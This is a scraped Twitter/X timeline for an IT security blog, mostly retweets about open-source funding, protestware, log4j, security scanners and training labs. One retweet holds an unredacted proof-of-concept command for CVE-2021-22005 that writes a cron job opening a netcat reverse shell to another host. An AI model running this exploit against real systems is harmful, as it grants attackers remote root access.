Where ideas are dispersed in bytes... ITSec Blog - owner: @ch0ks
Houston, TX
Joined January 2010
- Tweets540
- Following289
- Followers68
- Likes65
Security audits shouldn’t stop at findings.
What if your terminal could help review, triage, and patch vulnerabilities in one workflow?
The key idea is simple: don’t just detect problems.
Use agentic tooling to help fix them with minimal, targeted changes.
Hackarandas Blog retweeted
Big Tech engineers, don’t let your skills rot.
Make sure you are always trying new technologies, languages and frameworks on your spare time/evenings and write software to unionize your company.
Hackarandas Blog retweeted
Researchers are tracking a number of open-source code packages on GitHub that are being turned into "protestware," code that displays anti-war messages or casualty stats to users w/ RU or Belarusian IPs. Other protestware wipes files for RU/BY users. krebsonsecurity.com/2022/03/…
Hackarandas Blog retweeted
Don't bash open-source developers and maintainers, please. Bugs happen, and the software is free. Hate the bug, not the dev.
Hackarandas Blog retweeted
Watching this log4j bug metastasize, I’m seeing people ask why industry doesn’t fund open source. I don’t have a great answer, but I have some thoughts following the experience with Heartbleed in ‘14. 1/
Hackarandas Blog retweeted
Wanna know if the web app you are building is secure? Here is a tutorial on how to test the security of any web app in 3 min with nuclei, an open-source and developer-friendly app security scanner blog.escape.tech/devsecops-p… (👋 @pdnuclei)
Hackarandas Blog retweeted
Kubernetes-Goat - Is A "Vulnerable By Design" Kubernetes Cluster. Designed To Be An Intentionally Vulnerable Cluster Environment To Learn And Practice Kubernetes Security kitploit.com/2021/11/kuberne…
Hackarandas Blog retweeted
CVE-2021-22005: Exploitation in the wild confirmed. Unredacted RCE PoC against CEIP below.
curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh 172.16.57.1 4444"
ALT curl
ALT ncat
Redacted RCE PoC:
1. curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" -H Content-Type: -d ""
2. curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../[redacted]" -H Content-Type: -d "[redacted]"
Hackarandas Blog retweeted
Mindmap 🧠 for pass-the-whatever and common attacks operated on Active Directory authentication protocols (NTLM, Kerberos)
➡️ Featured on thehacker.recipes
Hackarandas Blog retweeted
Some of my #infosec infographics in one thread
👇👇👇
Hackarandas Blog retweeted
Can hardly believe it. This is Windows 10 in 2021.
ALT Installing Ubuntu
ALT GIMP
ALT Gimp
Hackarandas Blog retweeted
Finally a use for all those remote hacks on Teslas.
Tesla Model Y Police Vehicle Makes World Debut in New York 🚔⚡️🗽 tesmanian.com/blogs/tesmania… $TSLA #Tesla #EV @elonmusk
🎥: @HastingsPD
Hackarandas Blog retweeted
We don’t know what to say, other than thank you! We can’t believe this is real, we did it! We want to thank each and every one of you who helped save #Caltrain, we couldn’t have done it without you. This is a historic moment for transit in the Bay Area and it's all thanks to you!
